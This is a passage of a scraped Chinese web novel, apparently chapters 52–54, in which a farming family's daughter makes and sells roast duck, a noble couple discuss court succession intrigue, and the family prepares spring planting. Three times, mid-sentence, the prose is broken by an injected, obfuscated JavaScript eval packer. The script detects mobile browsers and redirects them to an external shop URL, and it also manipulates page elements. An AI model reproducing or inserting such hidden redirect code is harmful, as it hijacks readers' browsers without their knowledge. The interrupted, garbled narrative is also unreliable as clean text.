加上林义几人先前有点小钱,过年又从舅舅家得了好几个红包,虽然每一个红包都不多,只有几文钱,但数量多了加起来也不少了。 几个孩子整天和村里的孩子野疯了。 不过林阿爷他们暂时还没有这个精力去管他们,因为村里正月十五还有大事儿要干,于是毫不知情的几人凭借运气躲过一劫。 每年正月十五子时,族里最年长的老人就会用尺子和跟尺子一样长度的木棍量年景好坏。 讲究的是一二人烟散,三四持一半,五六风光年,七八水来淹。 然后告诉村里开春大量种哪些,又避开哪些,估计立春早晚,准备育苗,翻耕和施肥,以免不勤快的人误了农时。 泡过脚的林阿爷擦干了水才坐到床上,他语重心长地开口,“我想,也该把家里的几个孩子送到学堂去了。” 林阿奶眉头一皱,“你现在不是也在教他们读书吗?” 林阿爷摇头,“我教的总比不上先生教的,而且在家里他们还要干活,总想着出去玩,花费在读书上的精力就少了。” 林阿奶想了想,还是摇头,“家里这么多孩子,都要送去上学,那得花多少钱啊,不行,再等等吧。” 村里最近的学堂都得在镇上,而且他们长兴村几十户人家,能把孩子送进学堂里读书的也就四个而已。 而且还只是认字学学算术,以后打算做账房先生的,而不是冲科举考官去的。 这就能知道,读书有多难了。 林阿爷无声地叹口气。 林阿奶怕他又说些什么话来,急忙扯开话题,“明年开春还不知道是什么关景呢,要是风调雨顺就好了,如果碰上旱了或者涝了,地里那点儿收成可养不活这一大家子。” 他们家是赚了点钱,但是也没有钱到那个地步。 林阿爷回过神来,“放心吧,三叔公看的天时呢,说今年一定是个好年。” 林阿奶闻言才松了一口气。 三叔公是村里最好的庄稼把式,种了一辈子的地了,这点本事还是有的。既然他那么说,那明年的风雨应该不会太差。 不过,林阿奶撇了愣愣出神的林阿爷一眼,就知道他还没有打消念头。其实她已经有些松口了,谁不希望家里出个读书人呢。 可是最后林阿爷也没有再开口提这件事情,两夫妻也不再开口,而是各有心事的歇下了。 每年除夕过后,天气就会转暖,大部分时候都是艳阳高照的天,暖风一吹,野草就顺风疯长起来。 林知最终还是没有听从她阿爹的叮嘱,依旧每天上蹿下跳,各种捣蛋。 正月是一年里乡下人最闲的时候,林家人除了去县城里摆个摊卖豆花豆腐,其余时间都在家待着。 钱氏把鸡圈里的粪便打扫完,才端着簸箕和着一些叶子倒进坑里做沤肥的原材料。 结果一转头就见林知领着一群孩子呼啦啦地从她跟前跑过去,冲着不远处的一座山哇哇地冲过去。 她有些蒙圈地问在院子里晒衣服的罗氏,“他们这又是去哪儿?一天天的就知道往外跑。” 罗氏抖了抖手里的衣服,等完全舒展开了才晾到竹竿子上,“听说是在琢磨什么好吃的吧?” 自从家里开始做生意,孩子们开始读书后,各房的衣服都是由各房自己负责洗了,林阿爷和林阿奶的则每天各房轮着负责。 主要是一家的衣服太多了,总不能花一天的时间就洗个衣服吧,这样分开好,还免了那些谁家人多人少的纠纷。 钱氏瘪了瘪嘴,没有说些什么,拍拍屁股转身走了。 虽然正月里没啥农活儿,但是能干的事情多了去了,她们是闲不下来的。比如各自的小家里打扫卫生,衣服拿出来缝补一下,多纳几双厚鞋底…… 而另一边的林知则是带着几个哥哥姐姐到山上去捡柴了。虽然家里有柴火,一来是家里人不给随便用,二来是她想找那种果木,野生的也行啊。 自从自家开始做皮蛋,村里的鸭子是越来越多,好在他们家口碑打响了,向外卖出去的皮蛋不少,要不然还吃不下这么多鸭蛋呢。 可是鸭蛋有了去处,养了那么多鸭子该怎么办呢?这玩意儿无论是炖着吃、煮着吃还是炒着吃都味道一般。 琢磨了几天,林知想起了前世全国各地都有特色的“鸭料理”,其中最知名的,当属火遍全球的北京烤鸭。 中华饮食文化博大精深,最为精妙的地方就是化腐朽为神奇,用普通的食材做出一道精致的料理。 没错,林知就是打算做烤鸭! 所以这几天她拐带了林义、林礼几人用砖和黄泥搭了烤炉,还收集了一些果木的干柴。 烤鸭燃料其中以枣木、梨木等果木为最佳。因为果木烧制时无烟而且时间长。烤出来的鸭子皮层酥脆,外焦里嫩,而且带有一股果木的清香,味道更加美妙。 搭好了炉子,准备好了柴火,万事俱备只欠东风,接下来就是准备食材了。 家里灶房,一道朦胧的蓝色身影猫着腰,飞快的闪入其中,无人发现。 片刻后,林知用衣服兜着些佐料回到他们的秘密基地,林义看着她这模样不禁咂舌,“你还真是为了一口吃的啥事儿都干得出来呢。” 吐槽归吐槽,他下手拔鸭子毛的动作却是丝毫不停顿的。 村里养鸭子的人不少,他们四十文就买了一只,几个人均摊一下就也几文钱。相较起来,他们还是对林知描述的烤鸭更感兴趣。 “三哥,你那里准备好了没有?”林知没有回答林义的话,而是转过去看林礼调整炉子。 “差不多了。”林礼抹了一把汗,把架子给搭上去。 “只只,这鸭子是这么做的吧?”那厢林慧他们已经把鸭子给脱毛了。 准备用竹管按照林知说的那样像吹气球一样给鸭子打气。 看着鸭子被吹得像个胖葫芦,林智和林敏在一边开心得“咯咯”乐。 林知看了一眼就很放心地去生火,“没错,等到烤的时候,鸭皮下面的脂肪可以更好地被烤出,会令烤鸭变得油而不腻。” 这边烧上热水,林义提着鸭子,林慧则用热水给鸭子烫完一遍,“好了没有啊?我的手都要酸死了。” 这方法既不让鸭子因被烤而失水又可以让鸭子的皮胀开不被烤软,烤出的鸭子皮很薄很脆,成了烤鸭最好吃的部分。 “马……马上……”林慧有些着急了。 “二哥,你可真没用,才这么一小会儿呢,就喊累。”林知拿着特制的蜜汁要接着给鸭子上色。 鸭皮烫好后,用搅匀的糖水浇淋鸭身三到四次。蜜汁顺着滴落到下面的一个盆里,这大部分可是糖做的,不能浪费了。 林智和林敏两小只忍不住挤进去,从林义的咯吱窝下探出小脑袋,然后用手指去点糖水吃。 看着他们吸着手指一脸陶醉的样子,林义有些嫌弃地撇过头去不看他们。 烤制前,鸭子要经过打气、掏膛、洗膛、挂钩、烫皮、打糖、晾皮等八道工序处理。当然林知他们没有这个条件,也做不到这么精细。 好在林义没有受多久的煎熬,林知就结束了淋汁儿,一会儿等鸭子被晾干,就可以拿去烤了。 “好了,三哥,可以放进炉子里烤了。”林知拍拍手道。 “好。”林礼接过来。 俞珩就转头看过去,就见林义直接躺在草地上了,听见他们说话,他就一脸虚弱的抬了抬胳膊挥了一下。 他忍不住问:“有这么累吗?” 林义面色尴尬一瞬间,然后很是无赖的说:“我累了,不想再干活儿了。” 大家看他这理直气壮的样子皆有些无语,不过接下来还真用不上他了。 林礼把鸭子挂起来,小心翼翼地沿着炉壁放进去,炉里的火烧得旺旺的,为白净的鸭子映上一层绯红。 能够将烤鸭的皮烤得无比香脆的办法,可能也没有过于复杂,就是把重心放到这个“烤”字上面。 这就要求对火候的把控很高,鸭子入炉后,要用挑杆有规律地调换鸭子的位置,以使鸭子受热均匀,周身都能烤到,还要避免把鸭子给烤焦了。 彼时林知正蹲在明亮的炉火前,火光照亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294566|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她专注的小脸,乌梅般大小的眸子,灵动闪亮。 她在利用系统估计炉子里的温度。 居家旅游必备神器·系统:……我没想到自己居然还有这种功能。 林礼力气比较大,他在林知的指挥下不停地翻转鸭子使其均匀受热。 林义随便拔了根草叼在嘴里,双手枕着后脑勺就这么躺在地上,悠闲地看着白云漂浮的蓝天。 好在今天天气很好,躺在草地上也不会很凉。天边飘来那么大一团云,云的暗边透出来亮亮的光,像镶了金边儿一样。 其他几个人都学林知盘膝而坐,双手放在膝盖上撑着下巴眼巴巴地看着炉子。 “咕噜噜”,林智有些脸红地摸了摸自己的肚子,“我是被香味给馋饿了!” “二姐,什么时候能好啊?”林敏垂涎三尺地看着已经烤得“滋滋”冒油的鸭肉。 林知垂目,她一直在心里估摸着时间,“还早着呢,还要三刻钟。” “啊~~”这一声千回百转可谓道尽了此时几个孩子的心情,他们摆烂地摊开手脚躺在地上,学着林义无奈看天。 大家闲聊着天,不知不觉的三刻钟就过去了。 炉子里烤出来的鸭子外观饱满,颜色呈枣红色,皮层酥脆,外焦里嫩,仔细闻时还带有一股果木的清香。 “斯哈斯哈……好香啊!”几个人蹲着流口水。 刚打开炉子的林礼看着一群人眼睛冒着绿油油的光盯着自己,不由一抖。 “诶,三哥,你可小心一点啊!我们还没吃到呢,可别掉火里了。”林智跳脚急叫。 “放心吧。”林礼把熟了的鸭子从炉子里取出来放在提前准备好的干荷叶上。 冒着油的烤鸭香气直往人鼻子里钻。 林知拿出一把小刀来,“刷刷”几下就开始削片儿,烤鸭最精华的部分就是这鸭胸肉了,外脆里嫩,手一按上去,就“咔嚓咔嚓”地响。 她动作很快。 “好了,可以吃了。”林知掏出一块儿布把刀擦一擦,想着回头用去油的东西洗一洗。 怕众人发现,她没有马上收回空间。当然,这把小刀不是之前那把杀过老虎的匕首,而是她自己为了方便,又用积分买了一把。 早就迫不及待的几人直接上手,被切下来的烤鸭一片一片地码得整整齐齐。 “嗯,吼吼吃啊!”林智把一片鸭肉连皮带肉塞进嘴里,双眼亮晶晶地说。 当鸭皮入口,咬破鸭皮的脆爽声在牙间回响时,整个口腔都是鸭油和蜜汁融合后产生的甜蜜滋味,当真叫人回味无穷。 “嗯嗯。”其他几个人也快速拿着鸭片,直接用实际行动来回应。 “还可以搭配黄瓜丝和葱丝,蘸着甜酱卷饼吃。”林知小脑袋一扬,嘴巴鼓鼓地说。 如果是夏天的话,还可以配上黄瓜条和青萝卜条吃,十分清口解腻,片过的鸭骨架还可以加白菜或冬瓜熬汤。 几人一听,放慢了吃的速度,畅享着以后用黄瓜配烤鸭的日子。 就在他们慢悠悠地享受蓝天白云,美食烤鸭的时候,林仁找来了。 原来他纳闷都快吃午食了,平日里这个点一群饿鬼早就钻到厨房要吃的了,怎么今天不见人,于是找出来就看见一群人正吃得满嘴流油。 林仁:……好啊,你们吃独食不带我。 不过他不说。 林知看见大哥气势汹汹过来的样子,再心虚的看了看自己满手都是油,她默默举起手中的烤鸭问道:“那个,大哥你要吃吗?” 最后一群小兔崽子被提溜回去了。 为了掩盖他们的“罪行”和收买林仁,几人忍痛把最后的鸭腿分给了他。 打着不能浪费粮食的主意,林知把片完的鸭架给带回去熬汤,加点白菜和豆腐鲜香无比。 林阿爷还多喝了一碗,乐呵呵的点评道:“今天这汤倒是好喝。” 正吃得起劲儿知晓内情的几人听见这话头都要埋到饭里去了。 林仁看着刚才已经吃过一只烤鸭的几人接连不断地添了饭,连桌上的菜都被席卷一空,不由了张大嘴巴。 林家大人想着家里快速消耗的粮食,有些忧伤地看着他们,果然是半大小子吃穷老子啊。 53. 第53章 林知扒拉着碗里的饭,想着不能厚此薄彼,抬起头来对桌上正吃饭的人说:“阿爷阿奶,我们做了一种新的吃食,晚上做来你们尝尝好不好吃。” 林阿爷才知道汤的鸭架骨是这么来的啊,他平日里不管灶房的事儿,还以为是几个儿媳妇专门做的呢。 其他人筷子一顿,吃到嘴里的饭都不香了,合着你们已经吃过了呗? “我们是为了试验好不好吃嘛!毕竟是第一次做,而且我们还是用的自己买的鸭子,又不是拿的家里的。”林知理直气壮。 大家又把头转过去了,行吧,有道理。 小孩子们则乐陶陶地想,马上又有烤鸭吃了!那味道还真是让人食之难忘啊! 灶台还留着余温,林知逮了家里两只鸭子去烤,毕竟家里大人小孩儿人太多了,一只不够分啊。一群小孩儿欢呼着跟在她屁股后面,林仁被派去盯着他们以免闯祸。 有了第一次,后面的操作就流利多了,林知他们如法炮制,两只挂好蜜汁的鸭子一会儿就被送进了烤炉。 林知若有所思地摸着下巴,“看样子,烤炉是有点小啊。” 林礼小心翼翼地往里面添柴,“我看还可以同时烤三只鸭子,不小了。” 林仁偏过头来看她,好像理解了她的意图,“你是想我们家也卖烤鸭嘛?” 林知没有正面回答,而是反问他,“大哥觉得怎么样?” 林仁认真的想了想,炭火烘烤后的鸭子满口酥香,肥而不腻,的确很好吃。 但是…… “时下很少人爱吃鸭肉,更多的人是吃羊肉。而且这烤鸭的工序不少,花费的时间也多,也就是说我们的成本会大大提高。” 这样的话只能价高,就真的则是贫民不可吃,富人不屑尝了。 林知懂得其中的意思,要想赚大钱,商品起码要独一无二吧,最起码也要有特色。 虽然这烤鸭大家都说好吃,但是可能是大家并没有吃过什么山珍海味。因为这鸭子原料就是最普通的,炙烤最佳的应该选取体躯肥壮,皮薄脯大的填鸭。 “那我们不赚大钱,就赚些小钱用用呢?”林知觉得还是有机会的。 “不能因为没有先例,我们就不敢走这条路了吧?试一试不就知道大家喜不喜欢吃了呗。”林知很光棍地说。 反正成本又不高,大不了他们先做几只放到摊子上去卖。 “阿俞,你来说。我们的烤鸭怎么样?”见林仁不说话了,林知问俞珩。 在大家心里,俞珩是比他们有些见识的小姐,那她一定吃过许多好东西,如果她都说好,那就很有竞争力。 俞珩在一二三……七双炯炯有神的大眼睛盯着下,迟疑地点了点头。 虽然比不上京城那些大酒店的吃食,但是在这些小城里还是别具风味的。 “而且我觉得家里人也都会同意的。”林知胸有成竹。 果然,晚饭时,大家尝了这烤鸭,又听了林知他们的提议,觉得可以勉强一试。 于是过几天林记豆花就出了新品,片好的烤鸭淋上蜜汁,深受不少老顾客喜爱还吸引了不少新顾客。 为了方便,他们在房子旁边搭了个新炉子,这样近还好让人看顾。 不过为了降低风险,他们一天只做几只烤鸭,就算卖不完还可以自家消化。没想到歪打正着,还变成了“饥饿营销”,这是林知说出的名词。 但是他们也没有想着去增加数量,这样正好,因为家里人手不多烤不了那么多的鸭子。 一作妇人模样打扮的人提着篮子进得门来,却是转过一片修竹茂林,方进了庭院,可见竹影萧疏,几处石桌石凳相得益彰。 秀美脱俗的女子手持书卷,姿态慵懒的靠在桌边,湿漉漉的头发随意地搭在肩头。 “夫人,这是刚才罗娘子送来的,说是林小娘子最近新倒腾出来的吃食,不值什么钱,送来你们尝尝。” 常大娘一脸带笑地把篮子放在桌上,自然的拿起干帕子要替余姚擦头发。 “真的?还是这个丫头有心啊!”余姚立马把书丢开,急忙打开盒子看,刚才的稳重模样消弭无踪。 “这是鸭子?”余姚一脸疑惑,看着篮子里放着的还带有些余温的整只鸭。 此时流行的是吃羊肉,当然牛肉也好-—只是律令上对宰杀耕牛限制很多,然后便是各种鱼。 而猪肉犹“价贱如泥土,贵者不肯吃,贫者不解煮。”此外诸如鸡肉鸭肉就更不受待见了,说句难听的话,在贵族眼里它们都算不上肉。 不过余姚不怎么偏见,竟然人家肯拿来送礼,那必然有过人之处。 “对,说是林小娘子还给夫人留了封信。”常大娘拿出一张纸来。 余姚接过来展开信来看,略有些稚嫩的字已初具雏形,她边看边点评道:“比上次写的有些进步。” 这个上次自然是指林知卖花的那次,后来林二郎夫妻送花来的时候还送了一张写满注意事项的信。 崔璋听见院子里的动静,自书房出来。 余姚见他终于不待在书房了,拿着手里的信对他笑谈道:“这丫头,我说怎么好心想起我来。原是黄鼠狼给鸡拜年,不安好心啊!” 崔璋转到她身后,接过常大娘手里的帕子替余姚绞发,“头发都不擦干,小心吹了风着凉。” 余姚背后打个寒颤,连忙转移话题,“你上次那几本游记还在吗?林知这次特意来信说想借去看看。” 说着一边将盒子交给常大娘,让她照着林知纸上写的法子热一热。 他们不喜太多下人,平日里大多事都亲力亲为,所以也就常大娘一人负责些厨房和洒扫的活儿。 崔璋眉眼晕开笑意,动作轻柔地替她擦头发,“还在,我回头替她找出来。” 碧空如洗,墙面搭着的架子上摆着开得灼艳的花,娉娉袅袅。 “怎么,大哥来信说的什么?”余姚漫不经心地问。 从收到信的时候,崔璋就在书房里看了大半天,像是出了什么大事儿一样。 他语气随意,开口自有一股温煦淡定的味道,“没什么,就是京城出了点事情,大哥特意写了信来说。” 余姚嗤笑一声,值得他们大老远送信来,还能有什么大事儿,用脚指头想想都知道打的什么主意。 崔璋也不意瞒着她,直接开口解释下去,“自冬至秦王替陛下主持祭祀大殿后,风头无两。” 众人拾柴,有时并不是火焰高,而是一把看不见的刀。 “朝中越来越多明面上的人支持他,一些标榜为秦王的人行事便有些跋扈。听说秦王一派的一个小官犯了事,被陛下贬谪了……” 他语气中的态度已经很明显了,表面上站派了的人可不一定是哪家的人手呢,不过是些小手段罢了。 余姚惊疑地反问,“陛下他还真信了?”这么拙劣的手段,稍微有心就能查到。 “不仅信了,还在朝会上发了好大一通脾气,迁怒了不少人。现在京城人人自危,生怕触了霉头。”崔璋无奈叹气。 “陛下真是越发糊涂了。”余姚哪里不明白,他们这是神仙打架,小鬼遭了殃了。 当今远祖出自陇西李氏,前朝皇室昏庸无道,时农民起义遍布各地,政局动荡,乃于晋阳起兵,取长安,自立为帝。 这些年在位时,依先朝旧制,修律令格式,颁均田制、租庸调制,重建府兵制,勤勤恳恳为政。虽然没有什么大功绩,但好歹百姓安居乐业,休养生息,也有一派欣欣向荣之势。 可惜年纪大了,多疑还偏听偏信,行事越发有失沉稳了。 崔璋似乎对她这番“大逆不道”的话充耳不闻,本朝并不禁百姓谈论政事,有时还能碰见茶楼饭馆众人高谈阔论。 与其说是朝廷不大力禁止,还不如说是世人对皇权并没有那么大的敬畏之心。近百年来,皇权和世家互为犄角,共治天下,皇权也不是那么神圣不可侵犯。 “我说先太子还真是可惜了,要是他争气点,压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299723|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根儿就没有后面这些事情。”余姚嫌弃地撇撇嘴。 先太子勇颇好学,性宽仁和厚。虽然有时行事有些荒唐,当今也多次发气要废太子,可是最后还是轻拿轻放。 结果最后落得个“病逝”的下场,谁知道这里面有谁的手笔? 说着说着,常大娘就把片好的烤鸭端了上来,还给他们配了两个小菜,“正好是中午了,我就上了两个小菜一起……” 余姚朝她笑了笑,“正好,我们也饿了,常婶你先回去吧,就不用在这里等了。” “诶。” 常大娘回去了,但是还留下来一壶酒,余姚打开来闻了一下,“酒液清澈透明,馥郁芳香,看样子应该是酿好了。” 崔璋也坐在她对面,自己倒了一杯,入口醇和浓郁,饮后甘爽味长,他一挑眉,“这次倒是成功了。” “那是自然……”余姚神色自得,骄傲地说,筷子伸向那一盘切好的鸭子,期待满满。 不得不说,常婶儿的刀功很好,每片儿鸭肉都皮带着肉,大小均匀。色泽枣红,外皮光亮,码在白瓷盘里很是好看,入口即酥,味道香甜。 余姚一脸惊喜,“原以为出格便是不错,没想到味道这么好,外酥里嫩的。” 不为大部分人所喜爱的吃食是有一定缘由的,比方说鸭子,它本身不仅会有一股鸭骚味,肉质还会有点柴,想要完美地呈现一道“鸭料理”,难度堪称是地狱级的。 但是这道烤鸭不仅色泽好看,并带有一股果木的清香,细品起来,味道更加美妙,鸭肉特别鲜嫩,一口咬下去还有十足的汁水。 连一向不喜吃鸭肉的崔璋都连吃了好几块儿。 “所以当今是怎么想的,总不能一直这样拖着吧?”余姚总觉得崔家来信不可能只是说最近发生的事情这么简单。 对于京城外的人或许消息不够灵通,但是对于他们来说,也算不了隐秘。 秦王素来有美姿仪和有文才之名,曾出镇大藩也跟随皇帝打天下,战功赫赫。于能力上,排行上都足以继位。 可皇帝和朝臣偏偏放任齐王做那些小动作,不断壮大势力。 “也许掺和的不止他们……”崔璋点到即止。 本来毫无悬念的事情却生出这么多意外,再联想到这次信,余姚反应过来,所以其他皇子身后有其他人支持甚至操控。 “那就是世家或者外戚了?” 这很好理解。 世家发展了千余年,前朝更是皇权名存实亡,世家当道。 当今却逐渐削弱了世家的权利和取消他们的特权,皇权的不断加强让他们产生了危机感。他们如法炮制,想要架空皇室,一个昏庸无道无德无才的皇帝可比手段强硬的皇帝好控制多了。 齐王够年轻气盛,根基也足够浅,完全可以任由他们操控,而不是像当今一样,处处油盐不进。 秦王很像当今,也许他会是一个好皇帝,但是不是某些人心中的好人选。 这次皇位之争,这些世家如同闻到了血腥味儿的鲨鱼,嗅到了好处,便纷纷凑了上来。 几个皇子之间鹬蚌相争,最后也是这些世家渔翁得利罢了。 外戚亦然。 “崔家背后出手了?”余姚觉得这才是这封信的真实目的。 崔璋犹豫了一下最终还是摇头道:“应该是没有。” “我了解大哥的为人,若非是危急存亡之际,以他非常谨慎小心的性格不会早早下场。” 虽然不出手,但是推波助澜的事儿没少干。 “那你是怎么想的?”余姚紧盯着他,心乱如麻,不知道自己更想听见哪个答案。 一边是天下,一边是养育自己的家族。 崔璋知道她在想什么,哭笑不得,无奈道:“不用担心,这些事情哪里轮得到我们插手。我们过好自己的小日子就行了。” 说罢,还揉了揉余姚的头,余姚只能气鼓鼓的咬一口烤鸭,心里想着,这个老狐狸想的真有这么简单就好了。 54. 第54章 林知是被屋前的梅子树上的麻雀和喜鹊在枝梢上喳喳啾啾的叫声吵醒的。 清晨清冽的风夹着淡淡的花香气从窗户缝隙里钻进来,让人精神为之一振。她爬起床的时候还一脸的睡眼惺忪,见俞珩还没动静,于是轻手轻脚地出了门。 一夜暖风,便可见芳草茸茸,生机盎然。天空明净,衬得洁白无瑕,清逸幽雅的青梅花愈加繁盛。 罗氏看见她揉着眼睛,扶着门出来,并不是很意外,而是招招手,“只只你过来。” “阿娘,怎么了?”林知看见罗氏拿了一片青萝卜。 “今天是立春,咬片儿萝卜这叫‘咬春’。”罗氏满面笑容地把手里的萝卜给递了过去。 林知闻言接过,放在嘴里轻轻一咬,清脆、多汁。好像真的在“咬春”,嘴里嚼着清脆爽口的萝卜,林知真的感到春天来了,心里有着说不出的喜悦和希冀。 剩下起床的人也一样被塞了一片早就备好的萝卜片,齐刷刷的一排站在院子里咬着“春”。 “林知,你上次那本借来的游记看完了吗?借我看看呗!”林义探头探脑,避着林阿爷偷偷问林知。 “看完了。”林知懒洋洋地挥挥爪子,“我可以借给你,但是你可不能在阿爷给我们上课或者作业没有完成的时候看。要不然,哼哼!” 她捏了捏拳头,危险地看着林义。 林知时常从余姚那里借了几本游记来看,家里有谁想看的就找她借。还好是游记,故事性比较强,情节跌宕起伏,大家看书的速度很快。 这次林义要借的那本,是一个官员记载他被皇帝多次贬谪,游历各地的所闻所见。文笔流畅,加上各种奇闻怪谈,各地民俗深深捕获了几个孩子的心,天天几个脑袋凑在一起看。 林阿爷也是睁一只眼闭一只眼,至少不是什么奇怪内容的书,只要孩子们不耽误课业,与其出去玩,还不如看看书。他对这种事情也是喜闻乐见。 对于借书看这件事,林家还是很感激余姚他们的,毕竟书在他们眼里可是很宝贵的东西,事实上也是。所以他们家的会时不时的送点东西去。 一来二往,两家人倒是越来越熟悉了。 林知看着林阿爷带着林大郎和林二郎扛着锄头出门去了,也不在堂屋里待着了,跑到院子里。 为了抑制地里草的生长,林阿爷他们往荒地里铺了一层薄薄的稻草层。 这是他们跟林知学的,去年一群孩子开的荒地为了抑制杂草的生长和给土地保温铺了稻草。 起初,家里人还不以为然。结果林阿爷偶然发现他们那块儿地被稻草遮掩的地方野草没那么多。 于是他们也学着几个孩子这么干,到时候下种的时候再揭开露出来。最近正是野草长得茂盛的时刻,节约了些除草的时间,他们能干更多的事情了。 林阿奶则带着几个儿媳妇在筛选种子。这可是大事,一年的收成能不能好,一半看天时,一半则看种子。 种地的收成一年到头是靠人的勤劳,但是作物好不好,关键就在于种子,所以挑选颗粒饱满的种子就很重要。 家里水土好的田全部要种上水稻,但是大部分还是种植小麦,剩下的则要播种各种豆子以及种植瓜果。 钱氏手稳住一块儿斜木板,在顶端放上了豆子,因为角度倾斜,颗粒饱满,圆润的豆子就轱辘轱辘的往下滚。 掉到下面的篓子里的豆子就是被挑选出来的种子。 林阿奶则在一边将饱满的稻种还有麦子挑选出来放在簸箕里。 最后播种前还会提前进行水稻的选种晒种,并对种子进行消毒,以此提升发芽率,保证苗齐面壮,提高产量。 林知便只能站一旁看,问道:“阿奶,我们家的种子哪来的?是买的吗?” “买了几斤而已,其余的是自个家里留的种,”林阿奶将筛选好的稻种装进布袋里。 林知倒有些惊诧,她原以为家里的麦子都是自家留的呢。因为别看麦子和麦种只有一字之差,但是这价格上则有几倍的差别。 林阿爷和林阿奶还是有些魄力的,每年还真买上几斤回来种块田试验一下。 罗氏抽空和林阿奶道:“阿娘,大哥去买种子的时候粮铺说了,今年出来的这麦种亩产能有两石呢。” 林阿奶不在意地道:“粮铺不这么说,说还去买他家的新种子。这些话听听就好了,说是两石,也跟现在的产量大差不差。” 林阿奶的表情就跟控诉商家是吹牛皮一样了。 其实哪有说得那么风轻云淡。 县里的粮铺每次来了新种子,他们都会买回来试一试,这么久了也没有多大进展。不抱那么大期望,至少不会太多失望。 林知蹲在那儿,若有所思。 “系统,你说我再买点水稻的种子怎么样?”她先前已经买了不少麦种,打算在家里下种前给偷偷换了。 她也不换多了,三分之一吧。到时候家里还会很村里的人换一换,这样分散下去,如果全村的麦子产量都有所增加的话,他们家也就不扎眼了。 改变是要一步一步来的。麦子产量一点点增加,潜移默化中,大家就不会觉得那么突兀了。 【不是很建议宿主买。因为我们商城里的水稻不太能行。】系统委婉地告诉她。 其实还是不太稳定,还容易产生病虫灾害的问题。 “那买一点点。”林知捏着手指弱声说,“拿来做实验呢?反正我们家也会买新稻种回来种。” 反正看这意思,林知是非干不可了。相处这么长时间,系统还不知道林知就是一头倔驴。 【……既然都有决定了,那还问我干嘛?】系统没好气地遁了。 “嘿嘿,那还不是想争取一下官方的支持,走一下正式的流程嘛。”林知心里叫它,“喂喂,真生气了?” 现在大家还算还闲适,等进入二月开始,大家就开始忙起来了。 等筛选好种子,家里就要开始耕田和施肥了,俗话说,耕好耙好,光长庄稼不长草。 耕地,施肥,是农民立春时节过后的重点农事活动。 吃过饭,一大家子都去了地里,连罗氏都把福宝和乐宝放在篓子里背出去,放在地边边上拿人远远看着就行。 林家最大的一块儿地就有五亩多,就在河边,一片连着一片,平坦开阔,颇为壮观。这块儿地他们家养了十几年的地力,已经是上好的良田,今年是打算留出来种麦子的。 田边上有几棵几人高的大树,投下一片绿荫在地上,罗氏把水壶和两个小孩儿放在树荫下,过去帮忙。 林大郎宝贝的去把牛牵过来套上犁,安抚地摸了摸有些不适应的牛,“第一次耕地,还有些不习惯呢。” 黄牛打了几个响鼻,甩了甩耳朵。 林家可是很宝贝儿这头牛的,平日里都是拌的上好的饲料,还要加黄豆。一个冬天下来,它就被养的油光水滑,膘肥体壮的。 有了耕牛,速度可就比往年快多了。 就像是天生的使命,黄牛很快就能在人的指挥下稳稳的踩沟了。 林阿爷和林大郎,一个牵牛,一个扶犁,其他人则在后面将犁开的土碎掉,再松一松。 对土地进行“翻新”,将耕作层上面的土壤翻到下面,又将下面的土壤带到表层。 随之而来的还有不少已经冒着春风浅浅长出来的野草和藏在土里的草根。而剩下的孩子们的任务就是把这些给捡出来扔掉。 不远处的河水清洌可鉴,隐约还可见有人在浣洗衣服,随风飘扬而来的是棒槌有节奏的捶打敲击声。 和着林阿爷低沉的吆喝声,河对面听得很真切,回声形成的泛音,显得格外的宁静与平和。 鼻翼间嗅着泥土和花草的清香味,林知不由深吸了一口气,她站起来伸了个懒腰。 后面只顾着埋头甩草的林智匍匐前进着,一头撞到他姐的小腿上,“哎哟。” 摔了个大马蹲的林智揉了揉有些红的鼻头,委屈道:“阿姐,你干嘛突然站起来了啊?” 林知也被撞了个踉跄,闻言回头不好意思地摸了摸林智的头,“哎呀,阿姐也不是故意的,这不是蹲久了,想起来站一站嘛。” 林智只好哼哼几下,大方的表示自己原谅她了。 这个小插曲大人们并没有注意到。 中午,太阳已经升到正上空,阳光也不是早上刚出来那时候晒到身上暖洋洋的了,而是有些刺痛。 林阿爷抹了一把头上的汗,虽然他跟林大郎林二郎几个人换着来,人不是那么累。 但是黄牛看着已经有些奄奄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303161|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,它已经拉了一上午的犁了,牛也吃不消啊! 在前面蒙头牵牛的林大郎也感觉出来了,牛似乎不想犁地了。他回过头来对林阿爷道:“阿爹,还是歇一歇吧。” “行。” 因为太阳太辣,林知几个小孩儿已经躲在树荫下歇息一会儿了,林智远远望了一下,“阿爷他们好像停下来了。” 被他们围在中间逗的福宝和乐宝“啊啊”的伸出手来想要抓住什么东西,口水流了一嘴,林知嫌弃地替他们给搽干净了。 下午,林阿爷他们担心牛会累到,还特意休息了大半个时辰,给它喝水消暑后才继续。 